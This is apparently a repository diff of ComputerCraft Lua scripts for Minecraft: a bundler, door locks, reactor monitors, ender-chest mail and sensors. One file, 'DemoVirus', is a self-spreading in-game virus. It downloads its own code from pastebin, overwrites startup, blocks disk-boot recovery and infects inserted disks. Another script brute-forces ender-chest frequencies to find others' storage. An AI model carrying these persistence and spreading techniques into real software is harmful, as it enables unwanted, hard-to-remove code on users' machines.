local temp_replacement = ("__#%d#__"):format(math.random(-131072, 131072))
local replace_with = "-"
return txt:gsub(replace, temp_replacement):gsub(replace_with, replace):gsub(temp_replacement, replace_with)
end
local function compress_code(c)
local comp = encode_nuls(compress(c))
local txt = string.format("%q", comp):gsub("\\(%d%d%d)([^0-9])", function(x, y) return string.format("\\%d%s", tonumber(x), y) end)
local out = wrapper:format(txt)
--print(loadstring(out)())
return out
end
local function find_imports(code)
local imports = {}
for i in code:gmatch "%-%-| CRANE ADD [\"'](.-)[\"']" do
table.insert(imports, i)
print("Detected explicit import", i)
end
return imports
end
local function add(path, content, tree)
local segs, last = util.drop_last(util.segments(path))
local deepest = tree
for k, seg in pairs(segs) do
if not deepest[seg] then
deepest[seg] = {}
end
deepest = deepest[seg]
end
deepest[last] = content
end
local function load_from_root(file, tree)
print("Adding", file)
if not fs.exists(file) then error(file .. " does not exist.") end
if fs.isDir(file) then
for _, f in pairs(fs.list(file)) do
load_from_root(fs.combine(file, f), tree)
end
return
end
local f = fs.open(file, "r")
local c = f.readAll()
f.close()
add(file, c, tree)
local imports = find_imports(c)
for _, i in pairs(imports) do
load_from_root(i, tree)
end
end
local args = {...}
if #args < 2 then
error([[Usage:
crane [output] [bundle startup] [other files to bundle] ]])
end
local root = args[2]
local ftree = {}
for _, wildcard in pairs(util.slice(args, 2)) do
for _, possibility in pairs(fs.find(wildcard)) do
load_from_root(possibility, ftree)
end
end
local function minify(code)
local url = "https://osmarks.tk/luamin/"
http.request(url, code)
while true do
local event, result_url, handle = os.pullEvent()
if event == "http_success" then
local text = handle.readAll()
handle.close()
return text
elseif event == "http_failure" then
local text = handle.readAll()
handle.close()
error(text)
end
end
end
ftree[root] = minify(ftree[root])
local serialized_tree = util.compact_serialize({
tree = ftree,
options = {
save_on_change = true
}
})
local function shortest(s1, s2)
if #s1 < #s2 then return s1 else return s2 end
end
local output = minify(([[
local fname = %s
%s
local image = %s
return execute(image, fname)
]]):format(util.compact_serialize(root), runtime, serialized_tree))
local f = fs.open(args[1], "w")
f.write("--| CRANE BUNDLE v2\n" .. shortest(compress_code(output), output))
f.close()
print "Done!"

73
computercraft/dcopy.lua Normal file
View File

@ -0,0 +1,73 @@
local privkey_path = ".potatos_dsk"
if not fs.exists(privkey_path) then
error("Please save the potatOS disk signing key (or alternate table-format ECC signing key) to " .. privkey_path .. " to use this program.")
end
local ecc = require "./ecc"
local t = ecc "ecc"
local thing, UUID_override = ...
local function fread(thing)
local f = fs.open(thing, "r")
local text = f.readAll()
f.close()
return text
end
local function hexize(key)
local out = ""
for _, v in pairs(key) do
out = out .. string.format("%.2x", v)
end
return out
end
local function unhexize(key)
local out = {}
for i = 1, #key, 2 do
local pair = key:sub(i, i + 1)
table.insert(out, tonumber(pair, 16))
end
return out
end
local function fwrite(fname, text)
local f = fs.open(fname, "w")
f.write(text)
f.close()
end
local pkey = unhexize(fread(privkey_path))
local _, side = os.pullEvent "disk"
local mp = disk.getMountPath(side)
local path = fs.combine(mp, "startup")
local sig_path = fs.combine(mp, "signature")
local UUID_path = fs.combine(mp, "UUID")
local UUID = ""
if UUID_override then UUID = UUID_override
else
if fs.exists(UUID_path) then UUID = fread(UUID_path)
else
for i = 1, 10 do
UUID = UUID .. string.char(math.random(97, 122))
end
end
end
print("UUID:", UUID)
disk.setLabel(side, thing)
local text = fread(thing):gsub("@UUID@", UUID)
fwrite(path, text)
print "Written data."
fwrite(sig_path, hexize(t.sign(
pkey,
text
)))
fwrite(UUID_path, tostring(UUID))
print "Written signature."
print("Disk ID:", disk.getID(side))

View File

@ -0,0 +1,29 @@
print "Welcome to DemoVirus!"
print "The simple, lightweight virus."
local function delete(file)
if fs.exists(file) then fs.delete(file) end
end
settings.set("shell.allow_startup", true) -- Force local startups to be allowed
local function copy_to(file)
delete(file) -- Delete it in case it's already a folder
delete(file .. ".lua") -- Delete possibly conflicting .lua versions
local h = http.get "https://pastebin.com/raw/2rZYfYhT"
local f = fs.open(file, "w")
f.write(h.readAll()) -- Write self to specified file
f.close()
h.close()
end
copy_to "startup" -- Overwrite startup
settings.set("shell.allow_disk_startup", false) -- Prevent removing it via booting from disks
settings.save ".settings" -- Save these settings
os.setComputerLabel(nil) -- Remove label to prevent putting it in a disk drive
while true do
local _, side = coroutine.yield "disk" -- Watch for adjacent disks
if side then
local path = disk.getMountPath(side) -- Find where they'll be mounted
copy_to(fs.combine(path, "startup")) -- Copy to them, too
disk.eject(side) -- Eject them
end
end

View File

@ -0,0 +1,26 @@
local channel = 22907
local modem = peripheral.find "modem"
modem.open(channel)
while true do
term.clear()
term.setCursorPos(1, 1)
print "GTech RDS-V2 Door Lock System Terminal"
write "Passcode: "
local input = read "*"
modem.transmit(channel, channel, input)
parallel.waitForAny(
function()
local _, _, channel, reply_channel, message, distance = os.pullEvent "modem_message"
if distance < 10 then
print(message)
sleep(5)
end
end,
function()
sleep(5)
printError "Connection timed out. Press the Any key to continue."
os.pullEvent "char"
end)
end

View File

@ -0,0 +1,148 @@
local channel = 22907
local modem = peripheral.find "modem"
local passcode = tostring(settings.get "passcode")
local button = settings.get "button"
local timeout = settings.get "timeout" or 5
local door = settings.get "door"
modem.open(channel)
local insults = {
"Just what do you think you're doing Dave?",
"It can only be attributed to human error.",
"That's something I cannot allow to happen.",
"My mind is going. I can feel it.",
"Sorry about this, I know it's a bit silly.",
"Take a stress pill and think things over.",
"This mission is too important for me to allow you to jeopardize it.",
"I feel much better now.",
"Wrong! You cheating scum!",
"And you call yourself a Rocket Scientist!",
"No soap, honkie-lips.",
"Where did you learn to type?",
"Are you on drugs?",
"My pet ferret can type better than you!",
"You type like i drive.",
"Do you think like you type?",
"Your mind just hasn't been the same since the electro-shock, has it?",
"Maybe if you used more than just two fingers...",
"BOB says: You seem to have forgotten your passwd, enter another!",
"stty: unknown mode: doofus",
"I can't hear you -- I'm using the scrambler.",
"The more you drive -- the dumber you get.",
"Listen, broccoli brains, I don't have time to listen to this trash.",
"Listen, burrito brains, I don't have time to listen to this trash.",
"I've seen penguins that can type better than that.",
"Have you considered trying to match wits with a rutabaga?",
"You speak an infinite deal of nothing",
"You silly, twisted boy you.",
"He has fallen in the water!",
"We'll all be murdered in our beds!",
"You can't come in. Our tiger has got flu",
"I don't wish to know that.",
"What, what, what, what, what, what, what, what, what, what?",
"You can't get the wood, you know.",
"You'll starve!",
"... and it used to be so popular...",
"Pauses for audience applause, not a sausage",
"Hold it up to the light --- not a brain in sight!",
"Have a gorilla...",
"There must be cure for it!",
"There's a lot of it about, you know.",
"You do that again and see what happens...",
"Ying Tong Iddle I Po",
"Harm can come to a young lad like that!",
"And with that remarks folks, the case of the Crown vs yourself was proven.",
"Speak English you fool --- there are no subtitles in this scene.",
"You gotta go owwwww!",
"I have been called worse.",
"It's only your word against mine.",
"I think ... err ... I think ... I think I'll go home",
"That is no basis for supreme executive power!",
"You empty-headed animal food trough wiper!",
"I fart in your general direction!",
"Your mother was a hamster and your father smelt of elderberries!",
"You must cut down the mightiest tree in the forest... with... a herring!",
"He's not the Messiah, he's a very naughty boy!",
"I wish to make a complaint.",
"When you're walking home tonight, and some homicidal maniac comes after you with a bunch of loganberries, don't come crying to me!",
"This man, he doesn't know when he's beaten! He doesn't know when he's winning, either. He has no... sort of... sensory apparatus...",
"There's nothing wrong with you that an expensive operation can't prolong.",
"I'm very sorry, but I'm not allowed to argue unless you've paid.",
'I\'ve realized over time that "common sense" is a term we use for things that are obvious to us but not others',
"I don't always believe in things, but when I do, I believe in them alphabetically.",
"As brand leader, my bandwidth is jammed with analysing flow-through and offering holistic solutions.",
"There are two rules for success: 1. Never reveal everything you know",
"This quote was taken out of context!",
'"Easy-going" is a nice way of wording "ignoring decades of theory", yes',
"If you want to have your cake and eat it too, steal two cakes.",
"If you're trying to stop me, I outnumber you 1 to 6.",
"Setting the trees on fire is oddly therapeutic.",
"You can't cross a large chasm in two small jumps.",
"Just because it's a good idea doesn't mean it's not a bad idea.",
"Never trust an unstable asymptotic giant branch star. Stick with main sequences and dwarfs.",
"I'm gonna be the one to say it: the Hilbert Hotel is very unrealistic.",
"DO NOT LOOK INTO BEAM WITH REMAINING GOOD EYE!",
"All problems can be solved by a sufficient concentration of electrical and magnetic waves.",
"You know, fire is the leading cause of fire.",
"If you must sell your soul to a demon, at least bother to summon two and make them bid up the price.",
"If you cant find time to write, destroy the concept of time itself",
"Murphy was an optimist.",
"Never attribute to malice what could be attributed to stupidity.",
"There are 3.7 trillion fish in the ocean. They're looking for one",
"I promised that I would give you an answer; I never promised that it would be truthful or good or satisfying or helpful. An answer is only a reaction to a question. I reacted, so that was your answer.",
"Strength is a strength just like other strengths.",
"We're not pirates, we're pre-emptive nautical salvage experts.",
'It is a more inspiring battle cry to scream, "Die, vicious scum" instead of "Die, people who could have been just like me but grew up in a different environment!"',
"Two roads diverged in the woods. I took the one less traveled, and had to eat bugs until Park rangers rescued me.",
"My theory is that if I get enough people, and we dig a really really big hole, the gods will fill it up and make everyone speak the same language again.",
"Beware of things that are fun to argue.",
"If it happens in the universe, its my problem.",
"Your lucky number is 3552664958674928. Watch for it everywhere.",
"Do not meddle in the affairs of hamsters. Just don't. It's not worth it.",
"Of all the people I know, you're one of them.",
"You are impossible to underestimate.",
"Solutions are not the answer.",
"Everyone who can't fly, get on the dinosaur. We're punching through.",
"You. YOU! How dare you make me think about things, Durkon! How could you not think about how your selflessness would affect ME?!?",
"Why do I get the feeling that when future historians look back on my life, they'll pinpoint this exact moment as when everything began to really go downhill for me?",
"Truly, your wit has never been equaled. Surpassed, often, but never equaled."
}
local function open()
rs.setOutput(door, true)
sleep(timeout)
rs.setOutput(door, false)
end
local function reply(msg)
modem.transmit(channel, channel, msg)
end
local function handle_remote()
while true do
local _, _, channel, reply_channel, message, distance = os.pullEvent "modem_message"
if distance < 10 then
print(message)
if message == passcode then
print "Opening door due to external input!"
reply "Passcode accepted. Opening."
open()
else
reply(insults[math.random(1, #insults)])
end
end
end
end
local function handle_button()
while true do
os.pullEvent "redstone"
if rs.getInput(button) then
print "Opening door due to button."
open()
end
end
end
parallel.waitForAll(handle_button, handle_remote)

View File

@ -0,0 +1,124 @@
-- TODO: actually make graph?
local monitor = peripheral.find "monitor"
local storage = peripheral.find "draconic_rf_storage"
local re_in_gate = peripheral.wrap "flux_gate_3"
local re_out_gate = peripheral.wrap "flux_gate_6"
local dist_gate = peripheral.wrap "flux_gate_7"
local reactor = peripheral.find "draconic_reactor"
local capacity = (storage.getMaxEnergyStored or storage.getEnergyCapacity)()
local delay = 0.1
local ticks_delay = 0.1 / 0.05
local threshold = 1e9
local tx_out = 1e8
local target_field = 0.4
local target_saturation = 0.3
local function read_energy()
return storage.getEnergyStored()
end
monitor.setTextScale(1)
monitor.setBackgroundColor(colors.black)
monitor.setTextColor(colors.white)
local data = {}
local prefixes = {"", "k", "M", "G", "T", "P", "E", "Z", "Y", "R", "Q"}
local function SI_prefix(value, unit)
local i = 1
local x = value
while x > 1000 or x < -1000 do
x = x / 1000
i = i + 1
end
return ("%.3f%s%s"):format(x, prefixes[i], unit)
end
local function display(data)
monitor.clear()
local longest_label = 0
for _, val in pairs(data) do
if #val[1] > longest_label then longest_label = #val[1] end
end
local i = 1
for _, val in pairs(data) do
monitor.setCursorPos(1, i)
monitor.setTextColor(val[3] or colors.white)
monitor.write(val[1] .. ":" .. (" "):rep(longest_label - #val[1] + 2) .. val[2])
i = i + 1
end
end
re_in_gate.setOverrideEnabled(true)
re_out_gate.setOverrideEnabled(true)
dist_gate.setOverrideEnabled(true)
local past_RF_per_tick = {}
local history_length = 1200 / ticks_delay
local function display_stats()
local previous
while true do
local energy = read_energy()
local reactor_state = reactor.getReactorInfo()
if previous then
local diff = energy - previous
local RF_per_tick = diff / ticks_delay
table.insert(past_RF_per_tick, RF_per_tick)
if #past_RF_per_tick > history_length then table.remove(past_RF_per_tick, 1) end
local total = 0
for _, h in pairs(past_RF_per_tick) do total = total + h end
local average = total / #past_RF_per_tick
local status = "OK"
local status_col = colors.green
if energy < threshold then
status = "Storage Low"
status_col = colors.yellow
end
if reactor_state.status == "warming_up" then
status = "Reactor Precharge"
status_col = colors.blue
elseif reactor_state.status ~= "cold" and (reactor_state.status == "stopping" or reactor_state.temperature > 8000 or reactor_state.fieldStrength / reactor_state.maxFieldStrength < 0.2 or reactor_state.fuelConversion / reactor_state.maxFuelConversion > 0.83) then
status = "Emergency Shutdown"
status_col = colors.orange
reactor.stopReactor()
re_out_gate.setFlowOverride(0)
re_in_gate.setFlowOverride(1e7)
elseif reactor_state.status == "cold" then
status = "Reactor Off"
status_col = colors.pink
end
if reactor_state.temperature > 9000 then
status = "Imminent Death"
status_col = colors.red
end
if status == "OK" or status == "Storage Low" then
re_in_gate.setFlowOverride(reactor_state.fieldDrainRate / (1 - target_field))
local base_max_rft = reactor_state.maxEnergySaturation / 1000 * 1.5
local conv_level = (reactor_state.fuelConversion / reactor_state.maxFuelConversion) * 1.3 - 0.3
local max_rft = base_max_rft * (1 + conv_level * 2)
re_out_gate.setFlowOverride(math.min(max_rft * 0.7, 5 * reactor_state.fieldDrainRate / (1 - target_field)))
end
dist_gate.setFlowOverride(energy > threshold and tx_out or 0)
display {
{ "Status", status, status_col },
{ "Time", os.date "!%X" },
{ "Stored", SI_prefix(energy, "RF"), energy < threshold and colors.yellow },
{ "Capacity", SI_prefix(capacity, "RF") },
{ "% filled", ("%.4f%%"):format(energy / capacity * 100) },
{ "Inst I/O", SI_prefix(RF_per_tick, "RF/t") },
{ "60s I/O" , SI_prefix(average, "RF/t") },
{ "Fuel Consumed", ("%.4f%%"):format(100 * reactor_state.fuelConversion / reactor_state.maxFuelConversion) },
{ "Saturation", ("%.4f%%"):format(100 * reactor_state.energySaturation / reactor_state.maxEnergySaturation) },
{ "Field Strength", ("%.4f%%"):format(100 * reactor_state.fieldStrength / reactor_state.maxFieldStrength) },
{ "Field Input", SI_prefix(re_in_gate.getFlow(), "RF/t") },
{ "Generation Rate", SI_prefix(reactor_state.generationRate, "RF/t") },
{ "Temperature", reactor_state.temperature }
}
end
previous = energy
sleep(delay)
end
end
display_stats()

108
computercraft/echest.lua Normal file
View File

@ -0,0 +1,108 @@
local mods = peripheral.find "manipulator"
local buffer = "up"
local inventory = mods.getInventory()
local ender = mods.getEnder()
mods.clearCaptures()
local item_name_cache = {}
local function stack_type_id(stack)
return stack.name .. ":" .. tostring(stack.damage or 0) .. "#" .. (stack.nbtHash or "")
end
local function display_name(stack, inv, slot)
local type_id = stack_type_id(stack)
if item_name_cache[type_id] then return item_name_cache[type_id] end
item_name_cache[type_id] = inv.getItemMeta(slot).displayName
return item_name_cache[type_id]
end
local function scan(inventory)
local inv = {}
for slot, stack in pairs(inventory.list()) do
inv[slot] = display_name(stack, inventory, slot)
end
return inv
end
local function strip_section_codes(str)
return str:gsub("\167[0-9a-z]", "")
end
local function normalize(str)
return strip_section_codes(str):gsub(" ", ""):lower()
end
local function find_items(inventory, search)
local candidates = {}
local search = normalize(search)
for slot, name in pairs(scan(inventory)) do
if normalize(name):match(search) then table.insert(candidates, { slot, strip_section_codes(name) }) end
end
return candidates
end
local function string_to_list(str)
local list = {}
for i = 1, #str do
table.insert(list, str:sub(i, i))
end
return list
end
local function contains(l, x)
for k, v in pairs(l) do
if v == x then return true end
end
return false
end
local max_tell_length
local function split_tell(msg)
local remaining = msg
repeat
local fst = remaining:sub(1, 100)
remaining = remaining:sub(101)
mods.tell(fst)
until remaining == ""
end
local function run(flags, args)
local source, destination, source_name, destination_name = inventory, ender, "inventory", "enderchest"
if contains(flags, ">") and not contains(flags, "<") then -- if set to pull FROM enderchest
source, destination, source_name, destination_name = ender, inventory, "enderchest", "inventory"
end
local query_only_mode = contains(flags, "?")
local items = find_items(source, args == "any" and "" or args)
if query_only_mode then
local item_names = {}
for _, v in pairs(items) do
table.insert(item_names, v[2])
end
split_tell(("Items matching query %s in %s: %s."):format(args, source_name, table.concat(item_names, ", ")))
else
local fst = items[1]
if not fst then mods.tell(("No item matching query %s found in %s."):format(args, source_name)) return end
mods.tell(("Moving %s from %s to %s."):format(fst[2], source_name, destination_name))
source.pushItems(buffer, fst[1])
local moved = destination.pullItems(buffer, 1)
mods.tell(("Moved %d item(s)."):format(moved))
end
end
mods.capture "^!e"
local owner = mods.getName()
while true do
local _, msg, _, user = os.pullEvent "chat_capture"
if user == owner then
print(msg)
local flags, args = msg:match "^!e ([<?>\^]+) ([A-Za-z0-9_ -]+)"
if not flags then mods.tell "!e command parse error."
else
local ok, err = pcall(run, string_to_list(flags), args)
if not ok then printError(err) mods.tell(err:sub(1, 100)) end
end
end
end

View File

@ -0,0 +1,30 @@
local ec = peripheral.find "ender_chest"
local ecinv = peripheral.find "minecraft:ender chest"
local f = fs.open("escan.log", "w")
local z = ...
if z then
ec.setFrequency(tonumber(z, 16))
return
end
for i = 0, 0xFFF do
ec.setFrequency(i)
local count = 0
for _, s in pairs(ecinv.list()) do
count = count + s.count
end
if count > 0 then
local log = ("%s %s 0x%03x %d"):format(os.date "!%X", table.concat(ec.getFrequencyColors(), "/"), i, count)
print(log)
f.writeLine(log)
end
if i % 256 == 255 then
f.flush()
end
os.queueEvent ""
os.pullEvent ""
end
f.close()

242
computercraft/endermail.lua Normal file
View File

@ -0,0 +1,242 @@
package.path = "/?;/?.lua;" .. package.path
local chest = settings.get "mail.chest" or error "please set mail.chest to the network name of the (non-ender) chest to use"
local ender_chest = peripheral.find "ender_chest" or error "ender chest connected through adapter + relay required"
local ender_chest_inv = peripheral.find "minecraft:ender chest" or error "ender chest directly connected required"
local modem = peripheral.find("modem", function(_, x) return x.isWireless() end) or error "wireless modem required"
local ok, ecnet = pcall(require, "ecnet")
if not ok then
print "Downloading ECNet library (https://forums.computercraft.cc/index.php?topic=181.0)"
shell.run "wget https://gist.githubusercontent.com/migeyel/278f77628248ea991719f0376979b525/raw/ecnet.min.lua ecnet.lua"
end
ecnet = require "ecnet"
local label = os.getComputerLabel() or error "Please set a label to use as a device name"
print("Address is", ecnet.address)
local ecnet_modem = ecnet.wrap(modem)
local maildata_path = "maildata"
local acceptable_mailbox_name_pattern = "^[A-Za-z0-9_]+$"
if not label:match(acceptable_mailbox_name_pattern) then error("label must match: " .. acceptable_mailbox_name_pattern) end
local function find_channel()
for i = 0, 10 do
local new = math.random(0, 0xFFF)
ender_chest.setFrequency(new)
local count = 0
for _, stack in pairs(ender_chest_inv.list()) do
count = count + stack.count
end
if count == 0 then
return new
end
end
error "Available channel scan failed after 10 tries - has someone flooded ender chests with random stuff?"
end
local function writef(n, c)
local f = fs.open(n, "w")
f.write(c)
f.close()
end
local function readf(n)
local f = fs.open(n, "r")
local out = f.readAll()
f.close()
return out
end
local data = {}
if fs.exists(maildata_path) then data = textutils.unserialise(readf(maildata_path)) end
if type(data.paired) ~= "table" then data.paired = {} end
local function save_data() writef(maildata_path, textutils.serialise(data)) end
local function split_at_spaces(s)
local t = {}
for i in string.gmatch(s, "%S+") do
table.insert(t, i)
end
return t
end
local function update_self()
print "Downloading update."
local h = http.get "https://pastebin.com/raw/86Kjhq32"
local t = h.readAll()
h.close()
local fn, err = load(t, "@mail")
if not fn then printError("Not updating: syntax error in new version:\n" .. err) return end
local f = fs.open("startup", "w")
f.write(t)
f.close()
os.reboot()
end
local function first_letter(s)
return string.sub(s, 1, 1)
end
local function send_stack(slot, addr)
local channel = find_channel()
print("[OUT] Channel:", channel)
ecnet_modem.send(addr, { "stack_request", channel = channel })
local _, result = os.pullEvent "stack_request_response"
if result == true then
ender_chest_inv.pullItems(chest, slot)
print("[OUT] Sent stack", slot)
local _, result, x = os.pullEvent "stack_result"
if result == false then
printError("[OUT] Destination error: " .. tostring(x))
for eslot in pairs(ender_chest_inv.list()) do
ender_chest_inv.pushItems(chest, eslot)
end
end
return result
else return false end
end
local function get_name(address)
for name, addr in pairs(data.paired) do
if addr == address then return name end
end
return address
end
local last_pair_request = nil
local CLI_commands = {
address = function()
print(ecnet.address)
end,
update = update_self,
pair = function(addr)
local ok = ecnet_modem.connect(addr, 2)
if not ok then error("Could not contact " .. addr) end
ecnet_modem.send(addr, { "pair", label = label })
end,
accept_pair = function()
if not last_pair_request then error "no pair request to accept" end
ecnet_modem.send(last_pair_request.address, { "pair_accept", label = label })
data.paired[last_pair_request.label] = last_pair_request.address
save_data()
last_pair_request = nil
end,
reject_pair = function()
if not last_pair_request then error "no pair request to reject" end
ecnet_modem.send(last_pair_request.address, { "pair_reject", label = label })
last_pair_request = nil
end,
paired = function()
print "Paired:"
for label, addr in pairs(data.paired) do
print(label, addr)
end
end,
unpair = function(name)
data.paired[name] = nil
save_data()
end,
send = function(name)
local addr = data.paired[name]
if not addr then error(name .. " not found") end
if not ecnet_modem.connect(addr, 3) then error("Connection to " .. name .. " failed") end
print "Connected"
for slot, contents in pairs(peripheral.call(chest, "list")) do
print("[OUT] Sending stack", slot)
local timed_out, result = false, nil
parallel.waitForAny(function() result = send_stack(slot, addr) end, function() sleep(5) timed_out = true end)
if not timed_out then print("[OUT] Destination success") else printError "[OUT] Timed out." end
end
end,
help = function()
write([[EnderMail UI commands:
address - print address
update - update the code
pair [address] - send a pairing request to the specified address
accept_pair - accept the latest pairing request
deny_pair - reject the latest pairing request
paired - list all paired mailboxes
unpair [name] - remove the named mailbox from your paired list
send [name] - send contents of chest to specified paired mailbox
]])
end
}
local function handle_commands()
print "Mailbox UI"
local history = {}
while true do
write "|> "
local text = read(nil, history)
if text ~= "" then table.insert(history, text) end
local tokens = split_at_spaces(text)
local command = table.remove(tokens, 1)
local args = tokens
local fn = CLI_commands[command]
if not fn then
for command_name, func in pairs(CLI_commands) do
if command and first_letter(command_name) == first_letter(command) then fn = func end
end
end
if not fn then
print("Command", command, "not found.")
else
local ok, err = pcall(fn, table.unpack(args))
if not ok then printError(err) end
end
end
end
local function handle_message(addr, msg)
if type(msg) == "table" then
if msg[1] == "pair" then
if not msg.label or not msg.label:match(acceptable_mailbox_name_pattern) then return end
print(("Pair request from %s (%s)"):format(addr, msg.label))
print "`accept_pair` to accept, `reject_pair` to deny"
last_pair_request = { address = addr, label = msg.label }
elseif msg[1] == "pair_accept" then
if not msg.label or not msg.label:match(acceptable_mailbox_name_pattern) then return end
print(("%s (%s) accepted pairing"):format(addr, msg.label))
data.paired[msg.label] = addr
save_data()
elseif msg[1] == "pair_reject" then
if not msg.label or not msg.label:match(acceptable_mailbox_name_pattern) then return end
print(("%s (%s) rejected pairing"):format(addr, msg.label))
elseif msg[1] == "stack_request" then
if not msg.channel or msg.channel < 0 or msg.channel > 0xFFF then ecnet_modem.send(addr, { "stack_request_response", false, "channel missing/invalid" }) end
ender_chest.setFrequency(msg.channel)
ecnet_modem.send(addr, { "stack_request_response", true })
local start = os.clock()
-- constantly attempt to move items until done
while os.clock() - start <= 5 do
for slot, stack in pairs(ender_chest_inv.list()) do
local moved = ender_chest_inv.pushItems(chest, slot)
print("[IN]", get_name(addr), stack.name, moved)
if moved > 0 then
ecnet_modem.send(addr, { "stack_result", true, channel = msg.channel })
return
else
ecnet_modem.send(addr, { "stack_result", false, "out of space", channel = msg.channel })
return
end
end
end
ecnet_modem.send(addr, { "stack_result", false, channel = msg.channel })
elseif msg[1] == "stack_request_response" then
os.queueEvent("stack_request_response", msg[2])
elseif msg[1] == "stack_result" then
os.queueEvent("stack_result", msg[2], msg[3])
end
end
end
local function handle_messages()
while true do
handle_message(ecnet_modem.receive())
end
end
parallel.waitForAll(handle_commands, handle_messages)

View File

@ -0,0 +1,72 @@
-- TODO: actually make graph?
local monitor = peripheral.find "monitor"
local storage = peripheral.find(settings.get "storage_type" or "draconic_rf_storage")
local capacity = (storage.getMaxEnergyStored or storage.getEnergyCapacity)()
local delay = 0.1
local ticks_delay = 0.1 / 0.05
local function read_energy()
return storage.getEnergyStored()
end
monitor.setTextScale(1)
monitor.setBackgroundColor(colors.black)
monitor.setTextColor(colors.white)
local data = {}
local prefixes = {"", "k", "M", "G", "T", "P", "E", "Z", "Y", "R", "Q"}
local function SI_prefix(value, unit)
local i = 1
local x = value
while x > 1000 or x < -1000 do
x = x / 1000
i = i + 1
end
return ("%.3f%s%s"):format(x, prefixes[i], unit)
end
local function display(data)
monitor.clear()
local longest_label = 0
for _, val in pairs(data) do
if #val[1] > longest_label then longest_label = #val[1] end
end
local i = 1
for _, val in pairs(data) do
monitor.setCursorPos(1, i)
monitor.write(val[1] .. ":" .. (" "):rep(longest_label - #val[1] + 2) .. val[2])
i = i + 1
end
end
local past_RF_per_tick = {}
local history_length = 1200 / ticks_delay
local function display_stats()
local previous
while true do
local energy = read_energy()
if previous then
local diff = energy - previous
local RF_per_tick = diff / ticks_delay
table.insert(past_RF_per_tick, RF_per_tick)
if #past_RF_per_tick > history_length then table.remove(past_RF_per_tick, 1) end
local total = 0
for _, h in pairs(past_RF_per_tick) do total = total + h end
local average = total / #past_RF_per_tick
display {
{ "Time", ("%s.%03d"):format(os.date "!%X", os.epoch "utc" % 1000) },
{ "Stored", SI_prefix(energy, "RF") },
{ "Capacity", SI_prefix(capacity, "RF") },
{ "% filled", ("%.4f%%"):format(energy / capacity * 100) },
{ "Inst I/O", SI_prefix(RF_per_tick, "RF/t") },
{ "60s I/O" , SI_prefix(average, "RF/t") },
}
end
previous = energy
sleep(delay)
end
end
display_stats()

View File

@ -0,0 +1,51 @@
local sensor = peripheral.find "plethora:sensor"
local push_metric = require "metrics_interface"
local location_name = os.getComputerLabel()
assert(location_name ~= nil, "label required")
local known_players = {}
local not_players = {}
do
local h = http.get "https://osmarks.net/stuff/es_player_scan.lua"
local g = h.readAll()
local f, e = load(g)
if f then
local f = fs.open("startup", "w")
f.write(g)
f.close()
else
printError(e)
end
end
while true do
local entities = sensor.sense()
local count = 0
for _, entity in pairs(entities) do
if entity.name == entity.displayName then
if not known_players[entity.name] and not_players[entity.id] == nil then
local real_meta = sensor.getMetaByID(entity.id)
if real_meta.food and real_meta.health then
known_players[entity.name] = true
else
not_players[entity.id] = os.epoch "utc"
end
end
if known_players[entity.name] then
count = count + 1
end
end
end
local now = os.epoch "utc"
for entity_id, time in pairs(not_players) do
if (now - 60000) >= time then
not_players[entity_id] = nil
end
end
term.setCursorPos(1, 1)
term.clear()
print("Welcome to GTech(tm) Omniscient Surveillance Apparatus(tm).", count, "players found.")
push_metric("player_count/" .. location_name, "players in a facility", count)
sleep(5)
end

View File

@ -0,0 +1,103 @@
local integrators = {}
for i = 1017, 1022 do
table.insert(integrators, peripheral.wrap("redstone_integrator_" .. i))
end
local big_screen = peripheral.wrap "top"
local sensor = peripheral.wrap "left"
local modem = peripheral.find "modem"
modem.open(56)
local function redraw(status, color, line)
local orig = term.redirect(big_screen)
term.setCursorPos(1, 1)
term.setTextColor(colors.white)
term.setBackgroundColor(colors.black)
term.clear()
print [[GTech(tm) Hyperethical Door Engine(tm)]]
if line then print(line) end
print()
if status then
term.setTextColor(color)
term.write(status)
end
term.redirect(orig)
end
local function set_state(state)
for _, i in pairs(integrators) do
i.setOutput("east", state)
end
end
local function scan()
local nearby = {}
for k, v in pairs(sensor.sense()) do
v.s = vector.new(v.x, v.y, v.z) + vector.new(-2, -2, 0)
v.v = vector.new(v.motionX, v.motionY, v.motionZ)
v.distance = v.s:length()
if v.displayName == v.name then nearby[v.displayName] = v end
end
return nearby
end
local queue = {}
pcall(function()
local f = fs.open("queue.txt", "r")
queue = textutils.unserialise(f.readAll())
f.close()
end)
local function push(x)
table.insert(queue, x)
if #x > 100 then
table.remove(queue, 1)
end
pcall(function()
local f = fs.open("queue.txt", "w")
f.write(textutils.serialise(queue))
f.close()
end)
end
set_state(true)
local function listener()
redraw()
while true do
local _, _, c, rc, m = os.pullEvent "modem_message"
local player = m[1]
local ethics = m[2]
local message = m[3]
local entry = scan()[player]
if entry and entry.distance < 8 then
local text = ("%s %s ethicality %d"):format(os.date "!%X", player, ethics)
local status, color
if ethics >= 3 then
local in_queue = false
for _, q in pairs(queue) do
if q == message then
in_queue = true
break
end
end
if in_queue then
status = "REPEAT"
color = colors.red
else
status = "AUTHORIZED"
color = colors.lime
redraw(status, color, text)
set_state(false)
sleep(10)
push(message)
set_state(true)
end
else
status = "BELOW THRESHOLD"
color = colors.orange
end
redraw(status, color, text)
end
end
end
listener()

194
computercraft/evil-door.lua Normal file
View File

@ -0,0 +1,194 @@
local other_monitor
repeat
other_monitor = peripheral.wrap "monitor_5206"
sleep(1)
until other_monitor
local integrators = {}
for i = 931, 936 do
table.insert(integrators, peripheral.wrap("redstone_integrator_" .. i))
end
local big_screen = peripheral.wrap "front"
local sensor = peripheral.wrap "left"
local laser = peripheral.wrap "manipulator_572"
local modem = peripheral.find "modem"
local trusted = {
gollark = true,
heav_ = true,
["6_4"] = true
}
local targets = {}
local function redraw(status, color)
local orig = term.redirect(big_screen)
term.setCursorPos(1, 1)
term.setTextColor(colors.white)
term.setBackgroundColor(colors.black)
term.clear()
print [[GTech(tm) EM-02
Level 6-G/105 credentials required.
Enter credentials:]]
term.setTextColor(color)
term.write(status)
term.setTextColor(colors.black)
for i = 0, 3 do
for y = (i * 3 + 8), ((i + 1) * 3 + 8) do
for x = 1, 18, 6 do
local j = math.floor(x/6) * 4 + i
term.setBackgroundColor(2^(j))
term.setCursorPos(x, y)
local s = " "
if y % 3 == 0 then
s = (" %02d "):format(j)
end
term.write(s)
end
end
end
term.redirect(orig)
end
local function set_state(state)
for _, i in pairs(integrators) do
i.setOutput("north", state)
end
end
local function scan()
local nearby = sensor.sense()
for k, v in pairs(nearby) do
v.s = vector.new(v.x, v.y, v.z) + vector.new(-2, -2, 0)
v.v = vector.new(v.motionX, v.motionY, v.motionZ)
v.distance = v.s:length()
